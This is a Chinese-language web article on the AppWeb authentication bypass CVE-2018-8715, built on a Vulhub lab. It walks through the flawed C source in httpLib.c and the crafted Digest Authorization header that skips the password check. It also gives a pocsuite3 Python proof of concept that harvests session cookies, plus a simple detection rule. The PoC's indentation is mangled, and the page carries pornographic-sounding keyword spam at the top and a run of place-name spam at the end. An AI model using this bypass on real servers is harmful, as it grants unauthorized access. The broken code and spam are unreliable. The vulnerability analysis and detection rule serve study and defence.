中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Vulhub漏洞中AppWeb認證繞過漏洞是什么樣的

發布時間:2021-12-22 21:15:15 來源:億速云 閱讀:194 作者:柒染 欄目:網絡安全

今天就跟大家聊聊有關Vulhub漏洞中AppWeb認證繞過漏洞是什么樣的,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

AppWeb認證繞過漏洞(CVE-2018-8715)

1.AppWeb簡介:

AppWeb是Embedthis Software LLC公司負責開發維護的一個基于GPL開源協議的嵌入式Web Server。他使用C/C++來編寫,能夠運行在幾乎先進所有流行的操作系統上。當然他最主要的應用場景還是為嵌入式設備提供Web Application容器。

AppWeb可以進行認證配置,其認證方式包括以下三種:

  • 1.basic 傳統HTTP基礎認證

  • 2.digest 改進版HTTP基礎認證,認證成功后將使用Cookie來保存狀態,而不用再傳遞Authorization頭

  • 3.form 表單認證

2.漏洞描述:

其7.0.3之前的版本中,對于digest和form兩種認證方式,如果用戶傳入的密碼為null(也就是沒有傳遞密碼參數),appweb將因為一個邏輯錯誤導致直接認證成功,并返回session。

3.漏洞原理:

由于身份驗證過程中的邏輯缺陷,知道目標用戶名,因此可以通過精心設計的HTTP POST請求完全繞過表單和摘要類型身份驗證的身份驗證。
文件http / httpLib.c - function authCondition()
該函數負責調用負責認證的兩個函數:getCredentials和httpLogin。注意httpGetCredentials周圍缺少檢查,之后分析會用到這個條件

14559 static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op)
14560 {
14561 HttpAuth *auth;
14562 cchar *username, *password;
14563
14564 assert(conn);
14565 assert(route);
14566
14567 auth = route->auth;
14568 if (!auth || !auth->type) {
14569 /* Authentication not required */
14570 return HTTP_ROUTE_OK;
14571 }
14572 if (!httpIsAuthenticated(conn)) {
14573 httpGetCredentials(conn, &username, &password);
14574 if (!httpLogin(conn, username, password)) {
14575 if (!conn->tx->finalized) {
14576 if (auth && auth->type) {
14577 (auth->type->askLogin)(conn);
14578 } else {
14579 httpError(conn, HTTP_CODE_UNAUTHORIZED, "Access Denied, login required");
14580 }
14581 /* Request has been denied and a response generated. So OK to accept this route. */
14582 }
14583 return HTTP_ROUTE_OK;
14584 }
14585 }
14586 if (!httpCanUser(conn, NULL)) {
14587 httpTrace(conn, "auth.check", "error", "msg:'Access denied, user is not authorized for access'");
14588 if (!conn->tx->finalized) {
14589 httpError(conn, HTTP_CODE_FORBIDDEN, "Access denied. User is not authorized for access.");
14590 /* Request has been denied and a response generated. So OK to accept this route. */
14591 }
14592 }
14593 /* OK to accept route. This does not mean the request was authenticated - an error may have been already generated */
14594 return HTTP_ROUTE_OK;
14595 }

文件http / httpLib.c - 函數httpGetCredentials()

此函數接收兩個指向char數組的指針,這些指針將包含從請求中解析的用戶名和密碼。由于authCondition中沒有檢查,因此“parseAuth”函數失敗并不重要,這意味著我們可以在WWW-Authenticate標頭或post數據中插入我們想要的任何字段進行身份驗證:

1641 Get the username and password credentials. If using an in-protocol auth scheme like basic|digest, the
1642 rx->authDetails will contain the credentials and the parseAuth callback will be invoked to parse.
1643 Otherwise, it is expected that "username" and "password" fields are present in the request parameters.
1644
1645 This is called by authCondition which thereafter calls httpLogin
1646 */
1647 PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password)
1648 {
1649 HttpAuth *auth;
1650
1651 assert(username);
1652 assert(password);
1653 *username = *password = NULL;
1654
1655 auth = conn->rx->route->auth;
1656 if (!auth || !auth->type) {
1657 return 0;
1658 }
1659 if (auth->type) {
1660 if (conn->authType && !smatch(conn->authType, auth->type->name)) {
1661 if (!(smatch(auth->type->name, "form") && conn->rx->flags & HTTP_POST)) {
1662 /* If a posted form authentication, ignore any basic|digest details in request */
1663 return 0;
1664 }
1665 }
1666 if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) {
1667 return 0;
1668 }
1669 } else {
1670 *username = httpGetParam(conn, "username", 0);
1671 *password = httpGetParam(conn, "password", 0);
1672 }
1673 return 1;
1674 }

文件http / httpLib.c –函數httpLogin()

此函數將檢查用戶名是否不為null,如果已經存在會話,則密碼指針可以改為null。

1686 PUBLIC bool httpLogin(HttpConn *conn, cchar *username, cchar *password)
1687 {
1688 HttpRx *rx;
1689 HttpAuth *auth;
1690 HttpSession *session;
1691 HttpVerifyUser verifyUser;
1692
1693 rx = conn->rx;
1694 auth = rx->route->auth;
1695 if (!username || !*username) {
1696 httpTrace(conn, "auth.login.error", "error", "msg:'missing username'");
1697 return 0;
1698 }
1699 if (!auth->store) {
1700 mprLog("error http auth", 0, "No AuthStore defined");
1701 return 0;
1702 }
1703 if ((verifyUser = auth->verifyUser) == 0) {
1704 if (!auth->parent || (verifyUser = auth->parent->verifyUser) == 0) {
1705 verifyUser = auth->store->verifyUser;
1706 }
1707 }
1708 if (!verifyUser) {
1709 mprLog("error http auth", 0, "No user verification routine defined on route %s", rx->route->pattern);
1710 return 0;
1711 }
1712 if (auth->username && *auth->username) {
1713 /* If using auto-login, replace the username */
1714 username = auth->username;
1715 password = 0;
1716 }
1717 if (!(verifyUser)(conn, username, password)) {
1718 return 0;
1719 }
1720 if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) {
1721 if ((session = httpCreateSession(conn)) == 0) {
1722 /* Too many sessions */
1723 return 0;
1724 }
1725 httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username);
1726 httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip);
1727 }
1728 rx->authenticated = 1;
1729 rx->authenticateProbed = 1;
1730 conn->username = sclone(username);
1731 conn->encoded = 0;
1732 return 1;
1733 }
<em>File http/httpLib.c – function configVerfiyUser()</em>
The following function will first check for the presence of a valid user, either because it was already set in the session, or because it was passed, since we are able to pass a null password (line 2031), we can bypass the actual checks and successfully authenticate reaching line 2055.
2014 /*
2015 Verify the user password for the "config" store based on the users defined via configuration directives.
2016 Password may be NULL only if using auto-login.
2017 */
2018 static bool configVerifyUser(HttpConn *conn, cchar *username, cchar *password)
2019 {
2020 HttpRx *rx;
2021 HttpAuth *auth;
2022 bool success;
2023 char *requiredPassword;
2024
2025 rx = conn->rx;
2026 auth = rx->route->auth;
2027 if (!conn->user && (conn->user = mprLookupKey(auth->userCache, username)) == 0) {
2028 httpTrace(conn, "auth.login.error", "error", "msg: 'Unknown user', username:'%s'", username);
2029 return 0;
2030 }
2031 if (password) {
2032 if (auth->realm == 0 || *auth->realm == '\0') {
2033 mprLog("error http auth", 0, "No AuthRealm defined");
2034 }
2035 requiredPassword = (rx->passwordDigest) ? rx->passwordDigest : conn->user->password;
2036 if (sncmp(requiredPassword, "BF", 2) == 0 && slen(requiredPassword) > 4 && isdigit(requiredPassword[2]) &&
2037 requiredPassword[3] == ':') {
2038 /* Blowifsh */
2039 success = mprCheckPassword(sfmt("%s:%s:%s", username, auth->realm, password), conn->user->password);
2040
2041 } else {
2042 if (!conn->encoded) {
2043 password = mprGetMD5(sfmt("%s:%s:%s", username, auth->realm, password));
2044 conn->encoded = 1;
2045 }
2046 success = smatch(password, requiredPassword);
2047 }
2048 if (success) {
2049 httpTrace(conn, "auth.login.authenticated", "context", "msg:'User authenticated', username:'%s'", username);
2050 } else {
2051 httpTrace(conn, "auth.login.error", "error", "msg:'Password failed to authenticate', username:'%s'", username);
2052 }
2053 return success;
2054 }
2055 return 1;
2056 }

為了能夠繞過身份驗證,我們需要能夠傳遞空密碼指針,幸運的是,對于表單和摘要身份驗證,用于解析身份驗證詳細信息的函數(第1666行)將允許我們設置空密碼指針,并且即使返回錯誤,最終也不會被authCondition檢查,允許我們完全繞過身份驗證,利用這個的唯一條件是知道hashmap中的用戶名。

為了克服這個限制,必須考慮到散列映射的大小通常很小,并且散列映射中使用的散列算法(FNV)很弱:嘗試次數有限,可能會發現沖突,并且登錄不知道有效的用戶名(未經測試)。

4.漏洞利用:

構造的get數據包,加入我們構造的usename字段,注意用戶名是已經存在的才可以進行構造

Authorization: Digest username="admin"

Vulhub漏洞中AppWeb認證繞過漏洞是什么樣的

Vulhub漏洞中AppWeb認證繞過漏洞是什么樣的

這里有個小坑,我們獲取到session數據后,得需要一個瀏覽器插件將其寫進去。

這個是失敗的結果

Vulhub漏洞中AppWeb認證繞過漏洞是什么樣的如果你覺得在linux下的瀏覽器不太好操作,那么你可以移到windows下操作:

Vulhub漏洞中AppWeb認證繞過漏洞是什么樣的

Vulhub漏洞中AppWeb認證繞過漏洞是什么樣的

這個是成功后的結果,如果你經常在windows下操作的話那么現在使用burp之類的工具就方便很多了。
Vulhub漏洞中AppWeb認證繞過漏洞是什么樣的

5.poc編寫:

from collections import OrderedDict
import requests
from pocsuite3.api import Output, POCBase, OptString, register_poc, POC_CATEGORY, OptDict


class DemoPOC(POCBase):
    vulID = '003'  # ssvid
    version = '1.0'
    author = ['xssle']
    vulDate = '2019-09-20'
    createDate = '2019-09-20'
    updateDate = '2019-09-20'
    references = ['https://www.seebug.org/vuldb/ssvid-97181']
    name = 'AppWeb認證繞過漏洞(CVE-2018-8715)'
    appPowerLink = 'https://www.embedthis.com/'
    appName = 'AppWeb'
    appVersion = '< 7.0.3'
    vulType = 'Login Bypass'
    desc = '''
      其7.0.3之前的版本中,對于digest和form兩種認證方式,如果用戶傳入的密碼為null
      (也就是沒有傳遞密碼參數),appweb將因為一個邏輯錯誤導致直接認證成功,
      并返回session。
   '''
    samples = []
    install_requires = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    protocol = POC_CATEGORY.PROTOCOL.HTTP

def _options(self):
        o = OrderedDict()
        o["username"] = OptString('', description='這個poc需要用戶輸入登錄賬號', require=True)
return o

def _verify(self):
        result = {}
        playload = "Digest username=\"{0}\"".format(self.get_option("username"))
        get_headers = {
'Proxy-Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
        }
        vul_url = self.url
if vul_url.endswith('/'):
            vul_url = vul_url[:-1]
if "http://" in vul_url:
            host = vul_url[7:]
elif "https://" in vul_url:
            host = vul_url[8:]
else:
            host = vul_url

        get_headers['Host'] = host
        get_headers['Authorization'] = playload
        r = requests.get(url=vul_url, headers=get_headers)
if r.status_code == 200:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = vul_url
            result['VerifyInfo']['set-cookie'] = r.headers['set-cookie']
else:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = vul_url
            result['VerifyInfo']['set-cookie'] = get_headers

return self.parse_output(result)

def _attack(self):
        return self._verify()

def parse_output(self, result):
        output = Output(self)
if result:
            output.success(result)
else:
            output.fail('target is not vulnerable')
return output


register_poc(DemoPOC)

Vulhub漏洞中AppWeb認證繞過漏洞是什么樣的

6.漏洞檢測規則:

請求的數據包中添加如下內容,因為只有在usenmae字段的用戶名存在的情況下才會觸發漏洞,那么我們在檢測的時候只要發現數據包中被添加了如下字段那么就有可能存在攻擊
Authorization: Digest username="admin"

添加如下規則

Authorization: Digest username=

看完上述內容,你們對Vulhub漏洞中AppWeb認證繞過漏洞是什么樣的有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

巫山县| 渝北区| 镇巴县| 湘乡市| 富锦市| 三河市| 金阳县| 海晏县| 古田县| 湘潭市| 宝山区| 三河市| 金阳县| 五家渠市| 福清市| 宾阳县| 平凉市| 重庆市| 石阡县| 额尔古纳市| 通州区| 禹城市| 锡林浩特市| 峨边| 东乡县| 石门县| 张家港市| 石泉县| 新营市| 靖西县| 佛教| 沂南县| 曲麻莱县| 玉林市| 嘉禾县| 武宁县| 东乡族自治县| 澄江县| 高碑店市| 平定县| 凤翔县|